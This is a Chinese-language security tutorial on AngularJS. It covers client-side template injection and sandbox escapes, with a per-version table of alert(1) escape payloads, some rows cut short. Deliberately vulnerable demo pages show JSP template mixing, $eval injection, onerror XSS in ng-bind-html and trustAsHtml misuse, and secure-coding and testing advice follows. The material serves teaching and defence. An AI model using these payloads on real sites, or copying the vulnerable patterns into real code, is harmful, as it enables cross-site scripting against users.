本文將簡單介紹Angular及其使用方法,並重點研究使用過程中的安全問題。
0x00 Angular簡介
AngularJS,又稱Angular,是由Google開發和維護的一款開源Web應用框架,用於解決單頁面應用開發中遇到的問題。這個框架提供兩種設計模式(MVC和MVW)和及豐富互聯網應用程序中常用的組件。
Git地址:https://github.com/angular/angular.js/tree/v1.4.6
學習地址:https://www.angularjs.net.cn/tutorial/1.html
一、Angular簡單使用
本文重點研究其表達式注入,首先我們先看看在web中如何使用Angular的表達式,按如下步驟:
- 引入Angular模板解析腳本
<head>
<meta charset="utf-8">
<script src="http://cdn.static.runoob.com/libs/angular.js/1.4.6/angular.js">
</script>
</head>
2.申明AngularJS應用:
<div ng-app="">......</div>
3.使用ng-model綁定控件數據:
<td><input type="integer" min="0" ng-model="qty" required ></td>
<td><input type="integer" ng-model="cost" required ></td>
4.申明 Angular表達式模板:
<b>Total:</b> {{qty * cost | currency}}
HTML加載時若變量值存在,則計算值並加載到模板中。
整體代碼爲:
<!DOCTYPE html>
<html >
<head>
<meta charset="utf-8">
<script src="http://cdn.static.runoob.com/libs/angular.js/1.4.6/angular.min.js">
</script>
</head>
<body>
<div ng-app="">
<b>Invoice:</b>
<br>
<br>
<table>
<tr><td>Quantity</td><td>Cost</td></tr>
<tr>
<td><input type="integer" min="0" ng-model="qty" required ></td>
<td><input type="integer" ng-model="cost" required ></td>
</tr>
</table>
<hr>
<b>Total:</b>$ {{qty * cost}}
</div>
</body>
</html>
將用戶輸入的數據相乘,並把相乘結果格式化成本地貨幣樣式,然後輸出到頁面上。顯示效果如下:
二、Angular表達式與JavaScript表達式
- 類似於 JavaScript 表達式,AngularJS 表達式可以包含字母,操作符,變量。
- 與 JavaScript 表達式不同,AngularJS 表達式可以寫在 HTML 中。
- 與 JavaScript 表達式不同,AngularJS 表達式不支持條件判斷,循環及異常。
- 與 JavaScript 表達式不同,AngularJS 表達式支持過濾器。
0x01 安全問題分析
一、表達式注入-沙箱繞過
1、逃逸Payload
Angular通過“{{expression}}”來作爲輸出的標誌,而對於雙括號裏面的內容Angular會計計算並輸出結果。然而Angular模板表達式會經過沙箱驗證,例如:1)不允許使用Function對象;2)不允許使用window對象;3)不允許使用dom對象;4)不允許使用Object對象;5)對obj對象的constructor進行檢查,確保其不是Function對象,並且call,apply,bind等方法的調用也是不允許的;6)等等。這些使得直接的javascript語句不能運行,無法進行攻擊。
然而攻擊者研究各版本沙箱機制,提出了各版本逃逸Payload,通過這些Payload可對目標網站發動XSS攻擊。各版本Payload如下表所示:
AngularJS版本 |
沙箱逃逸利用有效負載 |
1.0.1-1.1.5 |
{{constructor.constructor('alert(1)')()}} |
1.2.0-1.2.1 |
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a]. getPrototypeOf(a.sub),a).value,0,'alert(1)')()}} |
1.2.2-1.2.5 |
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}} |
1.2.6-1.2.18 |
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$). value,0,'alert(1)')()}} |
1.2.19-1.2.23 |
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"]. sort(toString.constructor);}} |
1.2.24-1.2.29 |
{{'a'.constructor.prototype.charAt=''.valueOf;$eval ("x='\"+(y='if(!window\\u002ex) alert(window\\u002ex=1)')+eval(y)+\"'");}} |
1.3.0 |
{{!ready && (ready = true) && ( |
1.3.1-1.3.2 |
{{ |
1.3.3-1.3.18 |
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; |
1.3.19 |
{{ |
1.3.20 |
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}} |
1.4.0 - 1.4.9 |
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} |
1.3.0 - 1.5.8 |
{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(1),a')}} |
1.5.9 - 1.5.11 |
|
>=1.6.0 |
{{constructor.constructor('alert(1)')()}} |
下面是一個在Angular1.4.6版本中沙箱逃逸進行XSS攻擊的例子:
<%@ page session="false" pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
<!DOCTYPE html>
<html>
<head>
<title>Sandbox Bypass Demo</title>
<script src="http://cdn.static.runoob.com/libs/angular.js/1.4.6/angular.min.js"></script>
</head>
<body>
<div ng-app="">
{{${param.name}}}
</div>
</body>
</html>
啓動Tomcat服務器,並在瀏覽器輸入:
回車訪問該界面,發現執行了惡意JavaScript腳本代碼:
2、原理分析
選取1.4.6版本payload進行沙箱逃逸的原理分析:{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
Angular解析過程
使用簡單的{{1+2}}模板查看Angular如何解析。
該模板會被重新解析爲如下函數字符串fnString:
並根據如下生成函數變量:
運行fn函數得到的值進行html渲染。
只要1+1能夠被解析成2的模板引擎都會存在XSS漏洞。然而在1.4.6版本中我們輸入constructor.constructor('alert(1)'); 時無任何反應,這是由於Angular模板表達式存在沙箱進行了限制。Angular的模板引擎就是通過模板解析生成帶有沙箱檢查的函數,該函數運行並返回結果。
Angular沙箱做了什麼?
使用constructor.constructor(“alert(1)”);作爲payload查看,會有如下報錯
Description
occurs when an expression attempts to access the 'Function' object (constructor for all functions in JavaScript).
Angular bans access to Function from within expressions since constructor access is a known way to execute arbitrary Javascript code.
To resolve this error, avoid Function access.
Angular檢查到了調用了Function對象,拋出異常。我們看下Angular解析生成的代碼:
發現模板中的每個對象都使用了ensureSafeObject函數進行檢查,該函數檢查瞭如下:
- 不允許使用Function對象
- 不允許使用window對象
- 不允許使用dom對象
- 不允許使用Object對象
正如前文函數變量其他檢測函數還有:ensureSafeFunction
對obj對象的constructor進行檢查,確保其不是Function對象,並且call,apply,bind等方法的調用也是不允許的。
如何逃逸
看下模板字符串的解析步驟:
掃描字符串加入Array的關鍵字數組中:
讀取後字符串被按照字符串、標識符、操作符進行了提取。
然後根據該數組解析按下述函數調用進行解析生成代碼:
生成的函數會對每個提取對象進行檢驗:
Angular模板表達式中可以使用一些函數,例如$eval()。該函數會重新按照Angular模板引擎解析一次參數。
我們知道解析會按照前文方式進行解析,然後生成的函數對每個對象進行檢查。代碼中就會先獲取該對象,例如vn.提取的字符串對象(vn代碼生成的變量)。
想到如果能將一段js代碼解析成標識符,通過注入代碼的方式執行,例如設想若在解析字符串的時候能將 x=1} } };alert(1)// 解析成一個標識符後,在生成的fnString就會像如下所示:
這樣就把代碼注入了。
我們查看前文的標識符識別方法:
標識符判斷:
如果判斷第一個字符爲標識符合法字符,則開始循環讀取所有的合法字符直到遇到非法字符:
通過charAt獲取一個字符,根據該字符判斷讀取的類型。我們設想的字符串爲x=1} } };alert(1)// 讀到X爲標誌服,但是=號按照源代碼會識別爲操作符,則會把字符串割離。
需要改變charAt獲取字符種類。結合Angular語法不可使用的範圍及其語法。可以改變String的屬性charAt指向其他函數。
'a'.constructor.prototype.charAt=[].join
=號是合法的,會在生成的代碼中產生賦值。
此時console中:
行爲不是獲取字符而是實現了join的特性,這樣獲取的值一直都會符合標識符的檢查。從而使得之前的字符串x=1} } };alert(1)//變成了一個標識符。
在該效果生效後,我們在調用Angular函數$eval(‘x=1} } };alert(1)//’),讓Angular模板引擎重新解析,解析時會把整體當做表示符,最後代碼就被注入了:
3 安全編碼建議
AngularJS 在 1.6 版本以後就移除了安全沙箱,因爲它並不能根本上解決表達式注入問題。
所以設計應用程序時,用戶不能更改客戶端模板:
1、不要混合客戶端和服務器模板
2、不要使用用戶輸入動態生成模板
3、不要通過(或上面列出的任何其他表達式解析函數)運行用戶輸入
4、考慮使用 CSP
5、可以使用服務器端模板來動態生成 CSS,URL 等,但不能用於生成由 AngularJS 引導/編譯的模板。
6、如果必須在 AngularJS 模板中使用用戶提供的內容,需要確保它在通過 ngNonBindable 指令明確指定了不編譯的模板部分中。
7、若用戶輸入數據必須參與拼接生成表達式時,需要明確的黑白名單控制
二、 命令注入
JavaScript中存在eval命令注入的情況,Angular也類似。Angular以下函數存在命令注入問題:
$watch(userContent, ...)
$watchGroup(userContent, ...)
$watchCollection(userContent, ...)
$eval(userContent)
$evalAsync(userContent)
$apply(userContent)
$applyAsync(userContent)
$compile(userContent)
$parse(userContent)
$interpolate(userContent)
其實上述函數實質上和上節表達式用法最終都會調用同一個函數$parse,所以Payload可根據上節表格進行製作。
下面是一個使用Angular中的$scope對象中$eval的例子:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script src="./angular-1.7.8/angular.min.js"></script>
</head>
<body>
<div ng-app="myApp" ng-controller="myCtrl">
<p ng-bind="myText001"></p>
<p ng-bind-html="myText002"></p>
</div>
<script>
var app = angular.module("myApp", []);
app.controller("myCtrl", function($scope){
$scope.$eval("constructor.constructor('alert(001)')()")
});
</script>
</body>
</html>
執行後會執行Payload中的惡意js代碼
三、XSS
1、ng-bind與ng-bind-html
介紹
ng-bind-html和ng-bind的區別就是,ng-bind把值作爲字符串,和元素的內容進行綁定,但是ng-bind-html把值作爲html,和元素的html進行綁定。如
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script src="./angular-1.7.8/angular.min.js"></script>
</head>
<body>
<div ng-app="myApp" ng-controller="myCtrl">
<p ng-bind="myText001"></p>
<p ng-bind-html="myText002"></p>
</div>
<script>
var app = angular.module("myApp", []);
app.controller("myCtrl", function($scope){
$scope.myText001 = '<img src=x onerror=alert(001)></img>';
$scope.myText002 = '<img src=x onerror=alert(002)></img>';
});
</script>
</body>
</html>
訪問該頁面:
可看出ng-bind將以字符串的形式輸出內容,而不做任何解析,所以通過ng-bind綁定數據是安全的。由於ng-bind-html是需要結合Sanitize模塊配合使用,所以這裏會有Error信息的。ng-bind-html安全使用問題請繼續看下文。
安全編碼意見
若使用Angular綁定頁面數據時,在僅需要顯示字符串內容時,建議使用ng-bind,除非需要渲染html元素,其安全措施見下文
2、ng-bind-html + Sanitize淨化
安全問題介紹
ng-bind-html把值作爲html,和元素的html進行綁定。直接綁定必然存在風險,所以Angular在使用ng-bind-html可結合Sanitize模塊一同起作用。Sanitize模塊會將html元素進行安全過濾,例如<img src=x οnerrοr=alert(001)></img>會被淨化成<img src=x ></img>,避免了大量的XSS攻擊。基於上節的代碼,修改的例子代碼如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script src="./angular-1.7.8/angular.min.js"></script>
<script src="./angular-1.7.8/angular-sanitize.min.js"></script>
</head>
<body>
<div ng-app="myApp" ng-controller="myCtrl">
<p ng-bind="myText001"></p>
<p ng-bind-html="myText002"></p>
</div>
<script>
var app = angular.module("myApp", ['ngSanitize']);
//是默認開啓的,可以刪除這段代碼
app.config(function($sceProvider) {
//開啓
$sceProvider.enabled(true);
//禁用
//$sceProvider.enabled(false);
});
app.controller("myCtrl", function($scope){
$scope.myText001 = '<img src=x onerror=alert(001)></img>';
$scope.myText002 = '<img src=x onerror=alert(002)></img>';
});
</script>
</body>
</html>
上述代碼新引入angular-sanitize.js文件,並將ngSanitize模塊作用於myApp範圍類,重新運行查看結果:
可以看出風險屬性被淨化。
而ngSanitize淨化作用可以通過上述代碼的$sceProvider.enabled進行關閉開啓,默認是開啓的。爲了驗證,設置false將其關閉,重新訪問頁面會發現惡意彈框。
安全編碼意見
在使用ng-bind-html綁定數據到頁面時,必須使用$sceProvider.enabled開啓ngSanitize淨化功能(默認是開啓的,禁止代碼關閉)。
安全測試方法
搜索所有html頁面關鍵字ng-bind-html,如果存在該關鍵字並且存在用戶輸入可控綁定的情況下,在所有html和js文件中搜索“$sceProvider.enabled(false);”,若存在則有風險。
3 錯誤使用安全標記函數
安全問題介紹
在上述默認開啓淨化服務的情況下,使用$sce.trustAsHtml或$sceDelegate.trustAs把數據標記爲“安全”後,$sce服務不會對被標記的數據進行淨化,這樣被標記的數據中如果有惡意代碼也會被ng-bind-html指令渲染。
基於前面代碼稍作修改,將數據標記爲htnl安全:
<!DOCTYPE html>
<html ng-app="myApp" >
<head>
<meta charset="utf-8">
<script src="./angular-1.7.8/angular.min.js"></script>
<script src="./angular-1.7.8/angular-sanitize.min.js"></script>
</head>
<body ng-app="myApp" ng-controller="myCtl">
<div ng-bind-html="htmlContent | to_trusted">
</div>
<script>
var app = angular.module('myApp', ['ngSanitize']);
//是默認開啓的,可以刪除這段代碼
app.config(function($sceProvider) {
//開啓
$sceProvider.enabled(true);
//禁用
//$sceProvider.enabled(false);
});
app.controller('myCtl',['$scope', function($scope){
$scope.htmlContent = '<img src=x onerror=alert(1)></img>';
}]);
app.filter('to_trusted', ['$sce', function ($sce) {
return function (text) {
return $sce.trustAsHtml(text);
};
}]);
</script>
</body>
</html>
上述代碼在開啓淨化服務的情況下,使用trustAsHtml將'<img src=x οnerrοr=alert(1)></img>'標記爲安全。通過運行發現即使在開啓'ngSanitize'模塊後,使用了trustAsHtml後依然渲染了不安全的html屬性
信任標記函數彙總如下:
名稱 |
說明 |
$sce.HTML |
將value值標記爲安全的html |
$sce.CSS |
將value值標記爲安全的css |
$sce.URL |
將value值標記爲安全的url,比如a標籤中href,img標籤中的src |
$sce.RESOURCE_URL |
將value值標記爲安全的訪問連接,適用於 ng-include,src或者ngSrc(例如iframe或者Object),可以用$sce.RESOURCE_URL代替$sce.URL。 |
$sce.JS |
將value值標記爲安全的js |
trustAs* (Dangerous)例如trustAsHtml、trustAsURL等等 |
這些方法將傳入data數據標記爲安全。 $sce.trustAsHtml(data); $sce.trustAs($sce.HTML, data); $sce.trustAs('html', data); $sceDelegate.trustAs('html', data); $sceDelegate.trustAs($sce.HTML, data); |
isEnabled |
返回一個boolean,指示是否開啓 |
getTrusted*( Dangerous)例如getTrustedHTML、getTrustedCSS等等 |
判斷傳入的data是不是對應的類型,如果類型一致就進行對傳入內容進行淨化,刪除惡意字符,如果不一致就拋出異常 例如getTrustedURL(data)如果data不是一個url就會拋出異常,如果類型一致就調用trustAs方法將data數據進行淨化 |
$sceDelegate.valueOf |
將傳入data數據標記爲安全 |
$sce.parseAs*( Dangerous)例如parseAsHTMLparseAsCSS等等 |
方法替代 $parse 服務監控屬性綁定,底層會調用getTrusted方法 |
安全編碼意見
在使用ng-bind-html進行頁面數據綁定時,涉及用戶數據可控時,禁止使用信任函數將數據標記爲可信。
安全測試意見
Html和js文件中全局搜索上表中的函數,然後確認數據的來源是否外部可用。
4 信息泄漏
漏洞介紹
若待渲染輸出的數據對象中有系統不希望用戶可見的部分,在Angular表達式外部可控的情況下,可能會造成信息泄露。例如下述片段代碼
<div ng-app="" ng-init="person={firstName:'John',lastName:'Doe',password: '123'}">
<p>姓爲 {{ person. password }}</p>
例如上述person數據中含有密碼字段password,該字段不希望用戶可見。若Angular表達式可控,則注入person. Password則會產生信息泄漏。
安全編碼建議
- 使用黑白名單限制訪問類型
- 做好權限訪問控制
0x02 參考文獻
https://angular.cn/guide/template-syntax
https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs
https://0x0d.im/archives/client-side-template-injection-with-angularjs.html